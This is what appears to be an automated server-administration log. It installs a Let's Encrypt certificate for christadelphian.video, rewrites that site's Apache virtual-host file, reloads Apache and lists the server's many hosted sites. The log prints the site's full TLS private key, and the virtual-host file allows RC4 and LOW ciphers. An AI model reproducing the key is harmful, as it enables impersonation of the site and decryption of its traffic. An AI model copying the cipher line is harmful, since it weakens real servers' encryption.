FHWKllGnM5Mb8ZpWXe5dGPMB97UMgx73AgMBAAGjggIlMIICITAOBgNVHQ8BAf8E
BAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQC
MAAwHQYDVR0OBBYEFBtg1WszV6s0AS7RxtuBBGWKsnZxMB8GA1UdIwQYMBaAFAC1
KfItjm8x6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYX
aHR0cDovL3IxMi5pLmxlbmNyLm9yZy8wIAYDVR0RBBkwF4IVY2hyaXN0YWRlbHBo
aWFuLnZpZGVvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+G
HWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvNzkuY3JsMIIBBAYKKwYBBAHWeQIEAgSB
9QSB8gDwAHcAZBHEbKQS7KeJHKICLgC8q08oB9QeNSer6v7VA8l9zfAAAAGaJEEr
tAAABAMASDBGAiEA7yZtMyIttUvr15r9ZI4mFkz7flDzgSsLSlTfmfUuBB8CIQDY
n8XzHtsu8isrmzxiDFFwy/Ph9xDLrZOO2dX8TiY8FQB1AJaXZL9VWJet90OHaDcI
Qnfp8DrV9qTzNm5GpD8PyqnGAAABmiRBK/8AAAQDAEYwRAIgHbYkG3mxyUdLpyF2
d275iI9uCUueZu98pQ1Axs0BqRMCIAjVsQvqgpO9GXtIUPJu9gMeWA0L+DRVrZtA
R7KMu7avMA0GCSqGSIb3DQEBCwUAA4IBAQCWan4j7rCdm4SBDVfiVVcnoaNkKC3r
1HxlukgGnddYO5SKnHewBa46UdnbGJnJ6HfuQuOtjW3TvGIo6/OEaliNeBaaspp8
cM8xgAMnVs2jMDvmSvi7ycwKXdkGF3lTFL3QI2SwboGsuq5SGW9zY9/YorPdwBrp
iDz6+/UdD2COllcJwXqcL63cb1Jy+cwEEmjb69zs/zkg8XDQlRn3fTz9LN3B0CcI
w86UZaxaVEx9d03RUlSHKivEtohVaGs1j18LGzU4AsbPUADoQQq7JCVoXDFIY1Uc
eX0kW7IW38NspXjG3BuXYh2HqBb9SMC/jyV+XYgNnoPH29xLSog0hvl5
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDU3IGZnPCOnbpj
w44xCkAQwj8UP8tqEvrcBmHO28w8YMjKdMsV9rxmV0ucCOXGvDe+sKJzC37fRuGm
QJOh0Npc/LWb1XSyQ/04AzeywOknuBubmDz4baevc1CVh3DNSMnCRfAmdBbyeDBz
eSxiXWxbliYpl7Cztvd/27cEssPiZZP/a2YIVE7AXVN1TeMwUCerH8OZkTvTzHeU
325P2/k1c5fGbkpPH7un4ORAbISboGg76wjljKeEM+SFHLWuAvXbxtnIcy9auV2D
RVZvu3d7j9O8Rx49zxulx0d5AxPEZDgtN7bhuXhbFHWKllGnM5Mb8ZpWXe5dGPMB
97UMgx73AgMBAAECggEBAJbEVFtMaKprF4DgGw+rFfOI0gryoI5SQTKkppRQ5FkD
qFSV4t58s7a9MAWl27Im0EkVbQqVYticqOkLpkWf23qvV6a3yv8U3v7UcJgAwWPr
qEpNyyme6X2A7NvsYb5VRup+hPmHklVNQewYMJK/XyeDsyYUlgjEmIsMQZZnVA0+
4ISqeE+S4YOhAaIZXYCO+KIcYB+m+ZbVIIPc0z4GygIB9BpZ2XpehAuk/4hCHRDf
1WAE6L86lrbtetc6v5mLguLT9xjiVVkznsX/IswTvKv/YfJC4CyODkMD+8vj6XCX
NIF1n0QGGIQJoTt4fhiTxbGSSJIzoYFTpuNowC9ggmkCgYEA7+oucuVmfkMip4Hx
WFW2I4HVYSCuRjO3FtUoXyjnlukEb3ws0GVPhHhXzjQqx2/bsKKeNJu4m/fXzWYI
A4G6JisjAJWtJKLTd9Bec7jtIRMttOMejNn2FJrm1tuwTD2kKuhYvXkWgJVHlvV2
UCkfMK+IlEUdrpxMv4cA435ElYMCgYEA4yH9IWgrI/pKIl4l6y8+M6Z93aCMvg6y
93Zf/PFIWtwnpkXMx7ZFNUg50BKGFZe/MJZb62ajACxs7zHNC9hRdNb99rLlM0L1
YMG7cJBUniMXvX/wJEjlD+0+TOlG/feutlJX6IeB6eEyqd0++CZU2mZo+pJM6ydM
W2n639PlCn0CgYBZ1bqm0zdZuBHV31Zb2VxmV0trHy2io+K+7fo8B7kQTRiYFktB
jW4FEHrwf6A1JbGBpqLO2DB8VoW8J6SAi6cEe8qTgXhf64h7qM51Tp2ccO4AebsK
yuLWPFqLwZ92LO64EmCIMjs20q8H28n9oihHtrLRsj+3Dle+r/KpPLK5uQKBgQCA
hrIznjuTP0WGDxqL7A7ZsWPV7szVm4HAMHb+rhZQe/Xfy+2mMUkWbolwaZsASv9A
YkUfftPL/FekPt0Vz9HAOQw69l5mVIR/vQDxIGsRlTAQ5n2gOrOMAKbZZMPsYKS3
vP7LsSpdizZdErpYN3CaqYrMB8+I3ZMCw4TX9ZLNDQKBgASBnomwM/kP+e0PzAPR
5T5L5ITwMXKVT1rfk3+nMlLpWqm036yiuBesxRgtY5OLXLmRyW/lIRacKGf1mACD
Tx4LrRKHWyhH5byk+tH2sovZXInDqwZhEGPE5GWLwpe+ViUwXxUzLhjkS/ZsHuPe
pKL+qPdKZ08H/S/ZeIGHNp4p
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-10-27 06:00:43: 

chmod 755 /tmp/pkp948614; /tmp/pkp948614; rm /tmp/pkp948614

2025-10-27 06:00:43: 


dir=/etc/ssl/certs


2025-10-27 06:00:43: 

PUT: /tmp/pkp960465

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/christadelphian_www_video.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-10-27 06:00:43: 

chmod 755 /tmp/pkp960465; /tmp/pkp960465; rm /tmp/pkp960465

2025-10-27 06:00:43: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/christadelphian_www_video.conf 49

<VirtualHost *:80>
    ServerName	christadelphian.video
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/christadelphian_www
    <Directory /var/www/christadelphian_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphian/www_access.log combined
    ErrorLog	/var/log/apache2/christadelphian/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	christadelphian.video
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ef56788a9be5d522516b6c274e285339.crt
    DocumentRoot	/var/www/christadelphian_www
    <Directory /var/www/christadelphian_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphian/www_secure_access.log combined
    ErrorLog	/var/log/apache2/christadelphian/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-10-27 06:00:43: 

PUT: /tmp/pkp170740

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=christadelphian_www_video.conf
TARGET=/etc/apache2/sites-enabled/christadelphian_www_video.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	christadelphian.video
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/christadelphian_www
    <Directory /var/www/christadelphian_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphian/www_access.log combined
    ErrorLog	/var/log/apache2/christadelphian/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	christadelphian.video
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ef56788a9be5d522516b6c274e285339.crt
    DocumentRoot	/var/www/christadelphian_www
    <Directory /var/www/christadelphian_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphian/www_secure_access.log combined
    ErrorLog	/var/log/apache2/christadelphian/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/christadelphian_www_video.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/christadelphian_www_video.conf)= /etc/apache2//etc/apache2/sites-enabled/christadelphian_www_video.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/christadelphian_www_video.conf= 1'
fi


2025-10-27 06:00:43: 

chmod 755 /tmp/pkp170740; /tmp/pkp170740; rm /tmp/pkp170740

2025-10-27 06:00:43: 




2025-10-27 06:00:43: 

PUT: /tmp/pkp513609

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-10-27 06:00:43: 

chmod 755 /tmp/pkp513609; /tmp/pkp513609; rm /tmp/pkp513609

2025-10-27 06:00:43: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-10-27 06:00:43: Establishing a connection
2025-10-27 06:00:43: 

PUT: /tmp/pkp721952

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-10-27 06:00:43: 

chmod 755 /tmp/pkp721952; /tmp/pkp721952; rm /tmp/pkp721952

2025-10-27 06:00:43: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
                 alias www.carelinksoutreach.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
                 alias www.carelinksoutreach.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-10-27 06:00:43: 

PUT: /tmp/pkp598623

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/christadelphian_www_video.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-10-27 06:00:43: 

chmod 755 /tmp/pkp598623; /tmp/pkp598623; rm /tmp/pkp598623

2025-10-27 06:00:43: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/christadelphian_www_video.conf	1246

<VirtualHost *:80>
    ServerName	christadelphian.video
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/christadelphian_www
    <Directory /var/www/christadelphian_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphian/www_access.log combined
    ErrorLog	/var/log/apache2/christadelphian/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	christadelphian.video
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ef56788a9be5d522516b6c274e285339.crt
    DocumentRoot	/var/www/christadelphian_www
    <Directory /var/www/christadelphian_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphian/www_secure_access.log combined
    ErrorLog	/var/log/apache2/christadelphian/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-10-27 06:00:43: 

PUT: /tmp/pkp782685

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/ef56788a9be5d522516b6c274e285339.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-10-27 06:00:43: 

chmod 755 /tmp/pkp782685; /tmp/pkp782685; rm /tmp/pkp782685

2025-10-27 06:00:43: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/ef56788a9be5d522516b6c274e285339.crt	5361
5c:f1:b3:5e:51:0d:47:68:83:70:fb:83:f6:78:51:97

-----BEGIN CERTIFICATE-----
MIIFBjCCA+6gAwIBAgISBZZGqBWbTKTu2cQTm4QpoulOMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMDI3MDUwMjExWhcNMjYwMTI1MDUwMjEwWjAgMR4wHAYDVQQD
ExVjaHJpc3RhZGVscGhpYW4udmlkZW8wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQDU3IGZnPCOnbpjw44xCkAQwj8UP8tqEvrcBmHO28w8YMjKdMsV9rxm
V0ucCOXGvDe+sKJzC37fRuGmQJOh0Npc/LWb1XSyQ/04AzeywOknuBubmDz4baev
c1CVh3DNSMnCRfAmdBbyeDBzeSxiXWxbliYpl7Cztvd/27cEssPiZZP/a2YIVE7A
XVN1TeMwUCerH8OZkTvTzHeU325P2/k1c5fGbkpPH7un4ORAbISboGg76wjljKeE
M+SFHLWuAvXbxtnIcy9auV2DRVZvu3d7j9O8Rx49zxulx0d5AxPEZDgtN7bhuXhb
FHWKllGnM5Mb8ZpWXe5dGPMB97UMgx73AgMBAAGjggIlMIICITAOBgNVHQ8BAf8E
BAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQC
MAAwHQYDVR0OBBYEFBtg1WszV6s0AS7RxtuBBGWKsnZxMB8GA1UdIwQYMBaAFAC1
KfItjm8x6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYX
aHR0cDovL3IxMi5pLmxlbmNyLm9yZy8wIAYDVR0RBBkwF4IVY2hyaXN0YWRlbHBo
aWFuLnZpZGVvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+G
HWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvNzkuY3JsMIIBBAYKKwYBBAHWeQIEAgSB
9QSB8gDwAHcAZBHEbKQS7KeJHKICLgC8q08oB9QeNSer6v7VA8l9zfAAAAGaJEEr
tAAABAMASDBGAiEA7yZtMyIttUvr15r9ZI4mFkz7flDzgSsLSlTfmfUuBB8CIQDY
n8XzHtsu8isrmzxiDFFwy/Ph9xDLrZOO2dX8TiY8FQB1AJaXZL9VWJet90OHaDcI
Qnfp8DrV9qTzNm5GpD8PyqnGAAABmiRBK/8AAAQDAEYwRAIgHbYkG3mxyUdLpyF2
d275iI9uCUueZu98pQ1Axs0BqRMCIAjVsQvqgpO9GXtIUPJu9gMeWA0L+DRVrZtA
R7KMu7avMA0GCSqGSIb3DQEBCwUAA4IBAQCWan4j7rCdm4SBDVfiVVcnoaNkKC3r
1HxlukgGnddYO5SKnHewBa46UdnbGJnJ6HfuQuOtjW3TvGIo6/OEaliNeBaaspp8
cM8xgAMnVs2jMDvmSvi7ycwKXdkGF3lTFL3QI2SwboGsuq5SGW9zY9/YorPdwBrp
iDz6+/UdD2COllcJwXqcL63cb1Jy+cwEEmjb69zs/zkg8XDQlRn3fTz9LN3B0CcI
w86UZaxaVEx9d03RUlSHKivEtohVaGs1j18LGzU4AsbPUADoQQq7JCVoXDFIY1Uc
eX0kW7IW38NspXjG3BuXYh2HqBb9SMC/jyV+XYgNnoPH29xLSog0hvl5
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDU3IGZnPCOnbpj
w44xCkAQwj8UP8tqEvrcBmHO28w8YMjKdMsV9rxmV0ucCOXGvDe+sKJzC37fRuGm
QJOh0Npc/LWb1XSyQ/04AzeywOknuBubmDz4baevc1CVh3DNSMnCRfAmdBbyeDBz
eSxiXWxbliYpl7Cztvd/27cEssPiZZP/a2YIVE7AXVN1TeMwUCerH8OZkTvTzHeU
325P2/k1c5fGbkpPH7un4ORAbISboGg76wjljKeEM+SFHLWuAvXbxtnIcy9auV2D
